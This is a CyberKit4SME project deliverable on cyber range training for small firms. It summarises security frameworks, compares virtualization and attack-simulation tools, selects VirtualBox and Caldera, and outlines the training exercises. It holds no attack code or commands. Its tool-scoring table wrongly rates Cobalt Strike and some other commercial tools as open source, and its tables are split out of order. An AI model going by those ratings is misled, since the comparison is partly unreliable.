Stated that this deliverable is not intended to define a new best in class cyber range and training playground but a series of exercises specifically designed and developed for SMEs and MEs experience, a specific approach is applied.

The approach is oriented to create a deliverable that’s immediately actionable, practical but still solid on scientific and industry standard foundations.

From this perspective this deliverable contains description of the whole task and the outcomes, but not the output itself; exercises and slides companion are in a separate attachment.

This makes the deliverable immediately actionable: divided into two different parts, the former describes the task as a whole; the latter is the registry of all exercises, with details and instructions on how to play, accompanied by a series of slides.

II.5. Output

Output of the T6.2 “SME training and cyber range demos” is:

• D6.5 “Cyber range training course content” – main document you are reading right now;
• Annex A and Annex B to D6.5 “Cyber range training course content” - Exercises description and additional explanatory slides;
• Virtual Machines snapshot files - Virtual machines and other files to be loaded in the enabling tools.

Online files mainly are the virtual machines defined and created during T6.2, representing clients, servers or environments used in the exercise. They are available to create the desired cyber range and training experience, following instructions or freely.

Exercises are described assuming that enabling tools are already deployed and running by the provider of the cyber range experience.

II.6. Roles and Focus

As stated in DoW, T6.2 has contributions from Sogei, University of Southampton Cyber (UoS Cyber) and technical partners: SINTEF, Inetum, University of Southampton IT Innovation (UoS IT Innov). Others contributions may come from other partners.

II.6.1. Sogei

Sogei has the role of coordinator thanks to its role of third party in the context of the project. Neither a technical partner responsible for a tool, nor an SME partner involved as tester and validator of CyberKit4SME tools, Sogei can play the role of impartial partner.

It defined the list of desired features for the enabling tools, created the cyber range and training exercises, created files and slides companion to let exercises be played.

II.6.2. University of Southampton Cyber

Given that cyber range training course content can be used by UoS Cyber to enrich its Cyber Security Academy curriculum, collaboration between Sogei and UoS Cyber was effective and fruitful.

A specific workshop took place in person in Southampton to test the cyber range and training material on the actual UoS Cyber infrastructure in a real lab.
This was the very first cyber range and training experience deployed in the project. Based on that UoS Cyber can replicate this experience arranging an event according to Cyber Security Academy requirements.

II.6.3. Technical partners

Each technical partner contributed collaborating with Sogei in the definition of the environment required by the cyber range and training. They provided support to solve technical issues in deploying a stable, affordable, replicable cyber range environment.

For each exercise a certain number of CyberKit4SME tools may be involved and these tools must be run locally or on the Internet. Technical partners and Sogei collaborated to solve any issue.

Technical partners have also provided pre-existing training materials and online resources that are listed in the attachment to this deliverable as exercises or learning companion.

II.6.4. Others

After release of this deliverable, other partners, SME partners indeed, may use deliverable and contents according to their needs. Even if SMEs inside the consortium have stronger commitment to cyber security than SMEs outside the consortium, they have more in common with the final target audience than other partners. So, also SME partners could use exercises as practice used as additional reference for their own validation scenarios, created in WP3.
III. **STANDARDS AND BEST PRACTICES**

The focus of the Cyber Range Training is to perform attacks similar to those an hacker attempts to infiltrate internal Small and Medium Enterprise (SME) systems. To implement it, the following methodologies were used:

- OSSTMM
- OWASP
- ISO 27005
- MITRE ATT&CK®

These methodologies are important to task purposes because all of them pinpoint threads, risks and attack patterns. Methodologies are used as reference to identify and select attack scenarios to be emulated in the Cyber range training course content material. Considering the whole cyber attack kill chain on which these methodologies are built, a series of exercises depicting specific attack or risk scenarios are chosen.

Doing so, exercises can be effective to demonstrate CyberKit4SME toolkit impact, nonetheless exercises are near to real world scenarios and based on frameworks deconstructing and listing all possible cyber attacks and cyber risk scenarios.

### III.1. OSSTMM

The Open-Source Security Testing Methodology Manual (OSSTMM) provides a methodology to test the operational security of physical locations, human interactions, and all forms of communications such as wireless, wired, analog, and digital.\(^3\)

Since its start at the end of 2000, the OSSTMM quickly grew to encompass all security channels with the applied experience of thousands of reviewers.

By 2005, the OSSTMM was no longer considered just a best practices framework. It had become a methodology to assure security was being done right at the operational level.

The OSSTMM encompasses tests from all channels - Human, Physical, Wireless, Telecommunications, and Data Networks. This also makes it perfectly suited for testing cloud computing, virtual infrastructures, messaging middleware, mobile communication infrastructures, high-security locations, human resources, trusted computing, and any logical processes which all cover multiple channels and require a different kind of security test.

As a methodology it is designed to be consistent and repeatable. As an open-source project, it allows for any security tester to contribute ideas for performing more accurate, actionable, and efficient security tests. An OSSTMM audit is an accurate measurement of security at an operational level that is void of assumptions and anecdotal evidence:

1. The test was conducted thoroughly.
2. The test included all necessary channels.
3. The posture for the test complied with the law.
4. The results are measurable in a quantifiable way.
5. The results are consistent and repeatable.
6. The results contain only facts as derived from the tests themselves.

There are six types of tests, which differ based on the amount of information the tester knows about the targets, what the target knows about the tester or expects from the test, and the legitimacy of the test.

Table hereunder lists types of test with a short description.
Table 1 - OSSTMM test types.

<table>
<thead>
<tr>
<th>TYPE</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>Blind</td>
<td>The Analyst engages the target with no prior knowledge of its defenses, assets, or channels. The target is prepared for the audit, knowing in advance all the details of the audit. This is generally scripted as War Gaming or Role Playing.</td>
</tr>
<tr>
<td>Double Blind</td>
<td>The Analyst engages the target with no prior knowledge of its defenses, assets, or channels. The target is not notified in advance of the scope of the audit, the channels tested, or the test vectors. This is also known as a Black Box test or Penetration Test.</td>
</tr>
<tr>
<td>Gray Box</td>
<td>The Analyst engages the target with limited knowledge of its defenses and assets and full knowledge of channels. The target is prepared for the audit, knowing in advance all the details of the audit. This type of test is often referred to as a Vulnerability Test.</td>
</tr>
<tr>
<td>Double Gray Box</td>
<td>The Analyst engages the target with limited knowledge of its defenses and assets and full knowledge of channels. The target is notified in advance of the scope and time frame of the audit but not the channels tested or the test vectors. This is also known as a White Box test.</td>
</tr>
<tr>
<td>Tandem</td>
<td>The Analyst and the target are prepared for the audit, both knowing in advance all the details of the audit. This is often known as an In-House Audit or a Crystal Box test.</td>
</tr>
<tr>
<td>Reversal</td>
<td>The Analyst engages the target with full knowledge of its processes and operational security, but the target knows nothing of what, how, or when the Analyst will be testing. This is also often called a Red Team exercise.</td>
</tr>
</tbody>
</table>

The Institute for Security and Open Methodologies (ISECOM) develops and manages this methodology (https://www.isecom.org).

III.2. OWASP

The Open Web Application Security Project (OWASP) is a nonprofit foundation that works to improve the security of software. Through community-led open-source software projects, hundreds of local chapters worldwide, tens of thousands of members, and leading educational and training conferences, the OWASP Foundation is the source for developers and technologists to secure the web (https://owasp.org).

The OWASP Top 10 – 2021[4] is the published result of recent research based on comprehensive data compiled from over 40 partner organizations and provides rankings of the top 10 most critical web application security risks.

Top 10 OWASP security risks are listed hereunder.
Table 2 - Owasp Top Ten 2021.

<table>
<thead>
<tr>
<th>VULNERABILITY</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>A01:2021-Broken Access Control</td>
<td>Access controls enforce policies so that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure or modification, destruction of data, or performing a business function outside the user's limits.</td>
</tr>
<tr>
<td>A02:2021-Cryptographic Failures</td>
<td>Previously known as Sensitive Data Exposure, Cryptographic Failures involve protecting data in transit and at rest. This includes passwords, credit card numbers, health records, personal information, and business secrets that require extra protection.</td>
</tr>
<tr>
<td>A03:2021-Injection</td>
<td>Injection, which now includes Cross-Site Scripting, occurs when untrusted data is sent to an interpreter as part of a command or query, tricking the interpreter into executing unintended commands or accessing data without proper authorization.</td>
</tr>
<tr>
<td>A04:2021-Insecure Design</td>
<td>A new category this year, Insecure Design focuses on risks related to design flaws. This means using more threat modeling, secure design patterns and principles, and reference architectures to shift security left.</td>
</tr>
<tr>
<td>A05:2021-Security Misconfiguration</td>
<td>This category includes such things as missing security hardening across any part of the application stack, improperly configured permissions on cloud services, any unnecessary features that are enabled or installed, and unchanged default accounts or passwords. The former category XML External Entities (XXE) is now included in Security Misconfiguration.</td>
</tr>
<tr>
<td>A06:2021-Vulnerable and Outdated Components</td>
<td>This category includes any software that is vulnerable, unsupported, or out of date.</td>
</tr>
<tr>
<td>A07:2021-Identification and Authentication Failures</td>
<td>Security risk occurs when a user’s identity, authentication, or session management is not properly handled, allowing attackers to exploit passwords, keys, session tokens, or implementation flaws to assume users’ identities temporarily or permanently.</td>
</tr>
</tbody>
</table>
### VULNERABILITY

<table>
<thead>
<tr>
<th>A08:2021-Software and Data Integrity Failures</th>
</tr>
</thead>
<tbody>
<tr>
<td>This category refers to code and infrastructure that fails to protect against integrity violations. This includes software updates and critical data that are implemented without verification. An example of this includes objects or data encoded or serialized into a structure that an attacker can modify. Another example is an application that relies upon plugins, libraries, or modules from untrusted sources. Lastly, applications with auto-update functionality, in which updates are downloaded without sufficient integrity verification and applied to a previously trusted application, are considered software and data integrity failures because attackers could infiltrate the supply chain to distribute their own malicious updates.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>A09:2021-Security Logging and Monitoring Failures</th>
</tr>
</thead>
<tbody>
<tr>
<td>This category includes errors in detecting, escalating, and responding to active breaches. Without logging and monitoring, breaches cannot be detected. Examples of insufficient logging, detection, and monitoring include not logging auditable events like logins or failed logins, warnings and errors that generate inadequate or unclear log messages, or logs that are only stored locally. Failures in this category impact visibility, incident alerting, and forensics. This category was previously called Insufficient Logging and Monitoring.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>A10:2021-Server-Side Request Forgery</th>
</tr>
</thead>
<tbody>
<tr>
<td>Server-Side Request Forgery occurs when a web application fetches a remote resource without validating the user-supplied URL. An attacker can coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall, Virtual Private Network (VPN) or another type of network Access Control List (ACL).</td>
</tr>
</tbody>
</table>

### III.3. ISO 27005

ISO 27005 is the international standard that describes how to conduct an information security risk assessment in accordance with the requirements of ISO 27001.

Risk assessments are one of the most important parts of an organization’s ISO 27001 compliance project. ISO 27001 requires you to demonstrate evidence of information security risk management, risk actions taken and how relevant controls from Annex A have been applied.

ISO 27005 is applicable to all organizations, regardless of size or sector. It supports the general concepts specified in ISO 27001, and is designed to assist the satisfactory implementation of information security based on a risk management approach.

Information security risk management is integral to information security management. It defines the process of analyzing what could happen and what the consequences might be,
and helps organizations determine what should be done and when to reduce risk to an acceptable level.

Although ISO 27005 does not specify any specific risk management methodology, it does imply a continual information risk management process based on six key components:

1. Context establishment
2. Risk assessment
3. Risk treatment
4. Risk acceptance
5. Risk communication and consultation
6. Risk monitoring and review

III.4. MITRE ATT&CK® FRAMEWORK

The MITRE ATT&CK® Framework is a curated knowledge base that tracks cyber adversary tactics and techniques used by threat actors across the entire attack lifecycle. The framework is meant to be more than a collection of data: it is intended to be used as a tool to strengthen an organization’s security posture.

For instance, because MITRE ATT&CK® takes the perspective of the adversary, security operations teams can more easily deduce an adversary’s motivation for individual actions and understand how those actions relate to specific classes of defenses. MITRE ATT&CK® is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&CK® knowledge base is used as a foundation for the development of
specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community.

MITRE’s ATT&CK® is populated mainly by publicly available threat intelligence and incident reporting, as well as by research on new techniques contributed by cyber security analysts and threat hunters. It is used by those same professionals to better understand the different ways bad actors might operate so adversarial behavior can be detected and stopped.

MITRE ATT&CK website is a public knowledge base where everyone can find a list of tactics, techniques and procedures organized in matrixes. Hereunder in Figure 2 you can see an example taken from official website (https://attack.mitre.org/matrices/).

---

Figure 2 - An example of ATT&CK® matrix available on MITRE website.

MITRE’s ATT&CK® in T6.2 is used as reference in the definition of cyber-attack use-case or cyber risk scenarios.
IV. METHOD AND APPROACH

IV.1. Overview

The overall process described in the following is aimed at creating cyber range and training materials. Materials are composed by a set of different elements that other partners – as cyber range and training event providers - can freely choose from.

Because creation of materials and usage of those materials in cyber range and training experience are completely separate, some assumptions were made to make the output as flexible and effective as possible.

IV.2. Assumptions

According to the goals of this deliverable and the purpose of the CyberKit4SME project, output materials have been designed to be used by individuals as micro, small or medium enterprises representatives.

Excepting Cyber Security Academy of University of Southampton, in the WP6 “Dissemination and Impact”, there are no tasks that describe in detail the exploitation of cyber range and training material. At proposal time no cyber range events were defined. Without any constraint, direction or detail the most versatile output is the most suitable and the preferred one.

Assuming no availability of any specific infrastructure we look towards an output based on an easy and cheap technical asset. A single workstation can be enough to run a small and simple cyber range to discover how to use the toolkit and how to get the best from it.

A deliverable describing exercises designed with basic requirements can thus be applied to more complex and robust infrastructure, enabling more sophisticated scenarios involving more assets and more attacks and risks.

IV.3. Criteria for evaluation and selection of enabling tools

Due to these assumptions, a few desired features are identified for the enabling tools: a cyber range framework and a cyber-attack simulation tool.

**Open Source**: an open-source tool let developers inspect and understand its inner working. Open-source tools usually have strong communities of users, developers, integrators and adopters. This generates a strong free support, enabling adopters access to resources, experience and documentation.

**Standalone**: a stand-alone tool doesn’t require access to other resources via network, usually requires less resources and is less coupled with other services or components. In addition to this, it is portable.

**Multi-platform**: flexibility in terms of environment is multi-platform capability. This means the same tool is available for and can be run on different platforms.

**User Friendly**: ease of use is a key factor to let users understand in a short time how to operate the tool. Being user friendly lowers down the barrier to adoption.

**Easy to install**: automated procedures or simplified processes can lead to a simple and quick installation. Easy to install means less time and resources used to accomplish installation; it means a quick start and a user immediately committed to use the tool.

**Easy to replicate**: each and every cyber range session must be replicable, with pre-defined components ready to use and with a clean start from scratch after every session.
IV.4. Creation of cyber range and training material

Once suitable enabling tools are identified, exercises can be defined and created.

Choice of a certain couple of enabling tools, a cyber range framework and a cyber attack simulation tool, is a constraint for the development of materials. Exercises will be deployed thanks to enabling tools and practice scenarios will be created using components and instructions included in the materials.

Different exercises will be proposed depicting a certain scenario, they will be deployed in the emulated environment, assembling a certain number of virtual machines (VM) playing the role of attackers or target assets.

Consortium members delivering cyber range experience can choose the VMs they want to realize the scenarios they prefer as cyber range exercises.

Nonetheless a series of pre-defined scenarios – at least one per tool – are provided in this deliverable.

IV.5. Usage of cyber range and training materials

Exercises defined for cyber range training course content are intended as a support and a consistent input for the creation of cyber range and training event, activity or experience; online and offline, in person and online, individual or group.

Definition of the usage of exercises listed in this document is out of scope for this deliverable, but we provide a few examples and patterns that can be applied or replicated.

IV.5.1. University of Southampton Cyber Security Academy

Being one of the first investments made by the U.K. National Cyber Security Centre and EPSRC under Her Majesty's Government's CyberInvest scheme, the Cyber Security Academy (CSA) at The University of Southampton is proudly engaged in partnerships with government agencies, academia, and industrial leaders to deliver research, innovation, education, training and outreach.

Offering PhD, MSc and MEng level degrees and a growing ‘Professional Development’ programme, the CSA involves researchers from Computer Science, Engineering, Law, Management, Mathematics, Nano- Electronics, Psychology, Sociology and Web Science. The breadth of this research expertise demonstrates the importance which the Academy places on the human, organizational and technical aspects of the cyber security threat, as well as the interrelationships between them.

CSA could include contents depicted in this deliverable to enrich its curriculum. In particular, CSA could create events or specific training selecting specific contents and materials included in the deliverable, such as a certain number of VMs, specific scenarios and experiences.

IV.5.2. Inside the consortium

This deliverable, thus is publicly distributed, is based on the context of this project and the project itself is still a field of application of its content.

Inside the consortium, meaning limited to the members of the consortium, exercises can be used by SME partners to test their knowledge of the tools and verify in additional scenarios their skill in using the tools to address certain use cases.
SME partners already use the tools and test the benefit they can provide in market specific validation scenarios. Validation scenarios are certainly more complex and articulated than scenarios depicted in the exercises, nonetheless they are additional tests.

Even technical partners can leverage exercises to assess, on a common ground, how SME users operate on the tools.

**IV.5.3. Outside the consortium**

This is the main and most important goal of this deliverable: enabling cyber range and training activities to engage SMEs outside the consortium and promote CyberKit4SME toolkit effectiveness.

This can bring value to the project making the target audience wider and more aware of the benefits CyberKit4SME can provide to SMEs and MEs.

Exercises, available on the website of the project, can be used even by individuals after installation of enabling tools. This is not an unreal scenario because according to the assumptions even individuals with limited resources can create their own cyber range environment and use pre-defined files to arrange proper assets.

Even the further scenario of SME or ME with a single individual with limited technical skill is feasible. A single person tries installing the required enabling tools and then set up a session with other people of the company using the files of the exercises.

After release of this deliverable, T6.1 “Exploitation and sustainability planning” and T6.4 “Dissemination and Communication” will define how to use cyber range and training material to engage SMEs and MEs outside the consortium.

**IV.6. Examples of cyber range and training events**

Even if description of delivery of a specific cyber range experience is out of scope, we can propose some examples of usage of the exercises.

**IV.6.1. Live session inside a company**

A company or organization prepares a lab, with several workstations.

**IV.6.2. Individual practice**

An individual downloads the enabling tools, downloads the exercise files and the slides. Then the session is on a personal workstation.

**IV.6.3. Open event, in person**

The same infrastructure of the live session inside a company, but publicly promoted and accessible.

**IV.6.4. Online platform for individual practice**

An organisation prepares an online platform including virtualization of an environment on which enabling tools are running. Then each user logs on the platform and starts its own session with a clean installation of enabling tools and proper assets. User has an individual experience choosing which exercise to play each time and composing a specific scenario at runtime.
V. LANDSCAPE OF TOOLS ENABLING CYBER RANGE

A cyber range is a platform for the development, delivery and use of interactive simulation environments. A simulation environment is a representation of an organization's ICT, OT, mobile and physical systems, applications and infrastructures, including the simulation of attacks, users and their activities and of any other Internet, public or third-party services which the simulated environment may depend upon.

A cyber range includes a combination of core technologies for the realization and use of the simulation environment and of additional components which are, in turn, desirable or required for achieving specific cyber range use cases.

V.1. Cyber Range Framework

In this chapter a list of solutions dedicated to deliver a cyber range is pinpointed.

V.1.1. Red Team Project

Launched by The Linux Foundation, the Red Team Project incubates open-source cybersecurity tools to support cyber range automation and containerized pentesting utilities, among others.

The Red Team Project’s main goal is to make open-source software safer to use, but it led to deliver a set of resources, tools, techniques, and procedures which could be used by malicious actors, but in a constructive way to provide feedback and help make open source projects more secure.

For the purposes of CyberKit4SME project, the Red Team Project has been evaluated as an open-source project to deploy training scenarios for cloud-based cyber ranges (https://github.com/redteam-project/cyber-range-scenarios).

Even if in 2022 project is no longer active, materials already and still available make this tool valuable.

V.1.2. Cyber Wiser

It is a user-friendly environment dedicated to training professionals in the field of cybersecurity. Aimed at both private and public organizations, Cyber Wiser can prepare an organization’s cyber response and decision-making processes, leveraging state-of-the-art methodologies and tools to provide a learning pathway which carefully combines theory and practice (https://www.cyberwiser.eu/).

V.1.3. Cyberbit

It is a cyber range platform that provides cybersecurity training and simulation centers. The platform provides hands-on cyber labs and the largest catalog of live-fire, simulated cyberattacks. Live-fire exercises run in a hyper-realistic cyber range that emulates real-world networks and provides commercial security tools, including SIEM, Firewall, and EDR products (https://www.cyberbit.com/).

V.1.4. VMware ESXi

VMware ESXi is a type-1 hypervisor developed for deploying and serving virtual computers. As a type-1 hypervisor, ESXi is not a software application that is installed on an operating system, instead it runs directly on system hardware without the need for an operating system (https://www.vmware.com/it/products/esxi-and-esx.html).
V.1.5. VMware Workstation

VMware Workstation is a hosted hypervisor that enables users to set up virtual machines on a single physical machine and use them simultaneously along with the host machine (https://www.vmware.com/it/products/workstation-pro.html).

V.1.6. VirtualBox

VirtualBox is a virtualization product for enterprise and home use. It is a professional solution that is freely available as Open Source Software under the terms of the GNU General Public License (GPL) version 2 (https://www.virtualbox.org/).

V.2. Cyber Attack Simulation tool

With an attack simulation tool it is possible to simulate and automate a real attack against our data center to review the results and take action.

Hereunder you can find a list of solutions, commercial and free to use, for the automation and simulation of cyber attack.

V.2.1. Caldera

CALDERA is a cyber security platform designed to easily automate adversary emulation, assist manual red teams and automate incident response. It is built on the MITRE ATT&CK (see paragraph III.4.) and is an active research project at MITRE (https://caldera.readthedocs.io).

V.2.2. Atomic Red Team

Atomic Red Team is a library of simple tests, mapped to the MITRE ATT&CK framework, that every security team can execute to test their defenses. Tests are focused, have few dependencies, and are defined in a structured format that can be used by automation frameworks (https://redcanary.com/atomic-red-team/).

V.2.3. Metta

Metta is an information security preparedness tool in Python to help with adversarial simulation, this can help you check various detection and control capabilities within your organisation.

Metta parses yaml files with a list of “actions” and uses Celery to queue these actions up and run them one at a time requiring no manual interaction with the hosts (https://github.com/uber-common/metta).

V.2.4. Red Team Automation

Red Team Automation provides a framework of scripts designed to allow blue teams to test their detection capabilities against malicious tradecraft.

It is composed of python scripts that generate evidence of over 50 different ATT&CK tactics, as well as a compiled binary application that performs activities such as file timestopping, process injections, and beacon simulation as needed (https://github.com/endgameinc/RTA).
V.2.5. Cobalt Strike

Cobalt Strike is threat emulation software. It was one of the first public red team command and control frameworks, created in 2012.

This platform combines social engineering, unauthorized access tools, network pattern obfuscation and a sophisticated mechanism for deploying malicious executable code on compromised systems (https://www.cobaltstrike.com/).

V.2.6. Scythe

SCYTHE emulates behaviors that can be mapped directly to MITRE ATT&CK. It allows you to test detective and preventive controls for these various channels: HTTP, HTTPS, DNS, SMB, Google Sheets, Twitter, and Steganography or easily integrate your own (https://www.scythe.io/).

V.2.7. AttackIQ

AttackIQ, aligned with the MITRE ATT&CK framework, provides real-time visibility into your security posture and helps you build a threat-informed defense with our best-in-class Security Optimization Platform, Center for Threat-Informed Defense partnership, and award-winning Academy (https://attackiq.com/).
VI. EVALUATION AND SELECTION OF ENABLING TOOLS

After listing solutions for cyber range and cyber attack simulation, solutions have been evaluated and then the most suitable ones have been selected for both categories of enabling tools.

VI.1. Evaluation methodology

To evaluate cyber range framework examined during landscape analysis a series of requirements was listed. Each requirement has been identified as functional or non-functional and a weight has been attributed. Weight is proportional to ranking based on the matching to each requirement.

VI.1.1. Functional requirements

According to “III.4. Criteria of evaluation and selection of enabling tools” chapter, functional requirements were identified as:

- **Stand-alone (number of dependencies on other components or services)**
  Ranking based on dependencies: 1 for no dependencies, 0 for dependencies.

- **Supported OS (number of operating system supported)**
  Following criteria about multi-platform capability, ranking based on number of supported OS: 1 for higher number of supported OS, 0 for single supported OS. Cloud based solutions accessible online only, are considered as supporting multiple OS, because they don’t create any constraint on the OS.

VI.1.2. Non-Functional requirements

According to “III.4. Criteria of evaluation and selection of enabling tools”, non-functional requirements were identified as:

- **Open-source**
  Following criteria, Open-source has higher ranking: 1 for open-source, 0 for proprietary.

- **Free to use**
  Free to use has higher ranking: 1 for free to use; 0 for commercial.

VI.2. Cyber Range Framework

As listed in the landscape analysis, we hereunder pinpoint all solutions with their corresponding matching of criteria.

For each matching criteria “X” is in the cell, if not matching a “-” is in the cell. In both cases, some details may be added, in brackets “(i)”. “Rank” column contains the overall value of the solution, in brackets are listed single values of each requirement. Solution with the highest rank is chosen.
VI.3. Cyber Attack Simulation tool

As listed in the landscape analysis, we hereunder pinpoint all solutions with their corresponding matching of criteria.

For each matching criteria “X” is in the cell, if not matching a “-” is in the cell. In both cases, some details may be added, in brackets “()”.

“Rank” column contains the overall value of the solution, in brackets are listed single values of each requirement). Solution with the highest rank is chosen.

**Table 4 - Cyber Attack Simulation Tools matching requirements**

<table>
<thead>
<tr>
<th>SOLUTION</th>
<th>FREE</th>
<th>OPEN SOURCE</th>
<th>SUPPORTED OS</th>
<th>STAND ALONE - DEPENDENCIES</th>
<th>RANK</th>
</tr>
</thead>
<tbody>
<tr>
<td>Caldera</td>
<td>X</td>
<td>X</td>
<td>X (Linux, MacOS)</td>
<td>X</td>
<td>4 (1+1+1+1)</td>
</tr>
</tbody>
</table>

**Table 3 - Cyber Range Framework solutions matching requirements**

<table>
<thead>
<tr>
<th>SOLUTION</th>
<th>FREE</th>
<th>OPEN SOURCE</th>
<th>SUPPORTED OS</th>
<th>STAND ALONE - DEPENDENCIES</th>
<th>RANK</th>
</tr>
</thead>
<tbody>
<tr>
<td>Red Team Project</td>
<td>X</td>
<td>X</td>
<td>- (Linux)</td>
<td>- (Public Cloud: Google, Amazon Web Service, Terraform)</td>
<td>2 (1+1+0+0)</td>
</tr>
<tr>
<td>Cyber Wiser</td>
<td>-</td>
<td>-</td>
<td>X (Online)</td>
<td>- (Cloud)</td>
<td>1 (0+0+1+0)</td>
</tr>
<tr>
<td>Cyberbit</td>
<td>-</td>
<td>-</td>
<td>X (Online)</td>
<td>- (Cloud)</td>
<td>1 (0+0+1+0)</td>
</tr>
<tr>
<td>VMware ESXi</td>
<td>-</td>
<td>-</td>
<td>X (Linux, Windows, Mac OS)</td>
<td>- (Physical Hardware)</td>
<td>1 (0+0+1+0)</td>
</tr>
<tr>
<td>VMware Workstation</td>
<td>-</td>
<td>-</td>
<td>X (Linux, Windows, Mac OS)</td>
<td>X</td>
<td>2 (0+0+1+1)</td>
</tr>
<tr>
<td>VirtualBox</td>
<td>X</td>
<td>X</td>
<td>X (Linux, Windows, Mac OS)</td>
<td>X</td>
<td>4 (1+1+1+1)</td>
</tr>
</tbody>
</table>
### VI.4. Selection

Based on requirements and matching to requirements, both cyber range framework and cyber attack simulation tool have been selected:

- Cyber Range Framework: **VirtualBox**;
- Cyber Attack Simulation Tool: **Caldera**.

<table>
<thead>
<tr>
<th>SOLUTION</th>
<th>FREE</th>
<th>OPEN SOURCE</th>
<th>SUPPORTED OS</th>
<th>STAND ALONE - DEPENDENCIES</th>
<th>RANK</th>
</tr>
</thead>
<tbody>
<tr>
<td>Atomic Red Team</td>
<td>X</td>
<td>X</td>
<td>X (Linux, Windows, MacOS)</td>
<td>- (Executors)</td>
<td>3 (1+1+1+0)</td>
</tr>
<tr>
<td>Metta</td>
<td>X</td>
<td>-</td>
<td>X (Linux, Windows, MacOS)</td>
<td>- (Redis/Celery)</td>
<td>2 (1+0+1+0)</td>
</tr>
<tr>
<td>Red Team Automation</td>
<td>X</td>
<td>-</td>
<td>- (Windows)</td>
<td>X</td>
<td>2 (1+0+0+1)</td>
</tr>
<tr>
<td>Cobalt Strike</td>
<td>-</td>
<td>X</td>
<td>- (Windows)</td>
<td>X</td>
<td>2 (0+1+0+1)</td>
</tr>
<tr>
<td>Scythe</td>
<td>-</td>
<td>X</td>
<td>- (Linux)</td>
<td>X</td>
<td>2 (0+1+0+1)</td>
</tr>
<tr>
<td>Attack IQ</td>
<td>-</td>
<td>X</td>
<td>- (Windows)</td>
<td>X</td>
<td>2 (0+1+0+1)</td>
</tr>
</tbody>
</table>
VII. Exercises

Cyber range training course content is based on a certain amount of exercises that consortium members can use, as they prefer, to create engaging events or experience. Practice and exercises are dedicated to two different categories or tools included in the toolkit:

- Risk modelling tools;
- Runtime security components.

Both categories of exercises are listed in the Annex “A” to the present document.

VII.1. Annex A – Preliminary actions and exercises

According to purposes and goals of this deliverable, exercises are in Annex “A” to let potential participants in cyber range and training appreciate the overall approach and impact reading chapters of deliverable; nonetheless exercises must be provided to consortium partners to let them deliver cyber range and training as they prefer.

Another Annex, Annex “B”, is a presentation depicting exercises and providing solutions to exercises and “teacher notes” for delivering cyber ranges.

Annex “A” is structured as follows.

VII.1.1. Methodologies

A brief summary of OSSTMM and OWASP methodologies is relevant to understand cyber range and training. These contents are not strictly needed nor mandatory as this part could be identified as optional teaching part prior to cyber range or training.

VII.1.2. Preparatory actions - Information gathering

In the simulation of an attack or threat scenario, information gathering can be performed to showcase actions performed by attackers at the beginning of the kill-chain.

This part can be used to raise awareness in participants about simple but effective actions that attackers can perform quite easily.

VII.1.3. Preparatory actions – Service enumeration

Another series of actions usually performed during threat actors attacks is the service enumeration. Thanks to VMs and instructions included in the Annex “A” managers and organizers of the cyber range can add a part showcasing additional malicious actions possibly taken by attackers.

VII.1.4. Preparatory actions – Penetration test

This part is also added to cyber range material for showcasing purposes: participants can raise their awareness of malicious actions performed by attackers looking at or doing on their own some actions replicating attackers’ behaviour.

VII.1.5. Runtime security components

In this part of materials some exemplar exercises are listed and described. These exercises involve SDS and Keenai as runtime security components.
To let participants in the cyber range appreciate the impact of tools, cyber threat scenarios are depicted and then malicious behaviour of attackers is shown with and without CyberKit4SME tools intervention.

**VII.1.6. Risk modelling tools**

Risk modelling is an activity that is not necessarily based on software modules running or cyber attack ongoing. Impact of CyberKit4SME tools can be showcased delivering a scenario, described in detail, and then letting participants use SSM and HORM.

These tools are currently available as online services with interactive interfaces. Participants will be able to use them to create a model highlighting cyber risks of the specific scenario described in the documentation.

**VII.2. Annex B – Optional presentation**

Another Annex, Annex “B”, is a presentation depicting exercises with additional description of exercises and “teacher notes” for delivering cyber ranges.
VIII. CONCLUSIONS

Cyber Range and Facilitation is intended to be the foundation letting consortium partners deliver event and experience aiming at demonstrating CyberKit4SME toolkit value by direct participation of not skilled, not aware and not trained attendees. D6.5 is aiming at being a document that can be leveraged to create and to manage specific cyber range and training experience. It does so, providing a solid and concrete set of resources that can be freely picked up by anyone.

Cyber range is a wide and heterogeneous domain including events and exercises held using a virtually limitless number of technological solutions for various purposes. Here a non-competitive cyber range with as little requirements as possible has been identified as the most suitable approach, according to project purposes and aims.

The identified approach was used as compass leading to selection of the most suitable tools enabling cyber range as defined. A couple of enabling tools, for automating cyber-attack simulation and providing a virtual environment for cyber range, were selected.

Given this couple of enabling tools a series of exercises was defined including one or more tools belonging to CyberKit4SME toolkit.

VIII.1. Limitations

D6.5 was planned to be accomplished in the middle of the project path. Its role in the communication and exploitation actions is fundamental and it couldn’t be released later without compromising dissemination of toolkit, engagement of people belonging to target audience, spreading value proposition of project itself.

Nonetheless at this stage of the project, tools are not fully developed and refined. They will reach their final stage in the following months, later on. D6.5 is hugely impacted by maturity and completeness of tools involved in exercises. Given that, D6.5 is released considering tools at their current development stage, not yet completed.

Exercises are intended to showcase impact generated by tools in certain scenarios, letting participants in cyber range experience something real, something practical, not only witnessing something previously created for their eyes.

In this context exercises are not at their final and best version and are oriented to be as simple as possible to be understood, but complex enough to showcase the maximum impact the tools can generate.

These limitations will be overcome if an updated and further version of this deliverable will be released.

VIII.2. Results

Results of Cyber range training course content are a series of exercises tailor-made to showcase the value of the tools included in the CyberKit4SME toolkit. Exercises are intended to be used in cyber range and training events to be delivered by consortium partners following their own specific criteria and requirements. In addition to this, exercises are provided with preparatory analysis of the most suitable cyber range concept to be applied for the exercise's definition. Additional guidance to let partners deliver cyber range in multiple manners and different technical infrastructure is provided.
Given that, the results are quite immediately actionable, with minimum technical requirements for un-trained, un-aware, un-skilled attendees letting cyber range deliverer to create something adaptable to specific constraint and contexts.

Beside description of exercise creation process, additional material is provided: a document (Annex A) listing all exercises with plenty of introductory steps and complementary information and presentation that could be used to show exercises by some cyber range manager.

**VIII.3. Relevance**

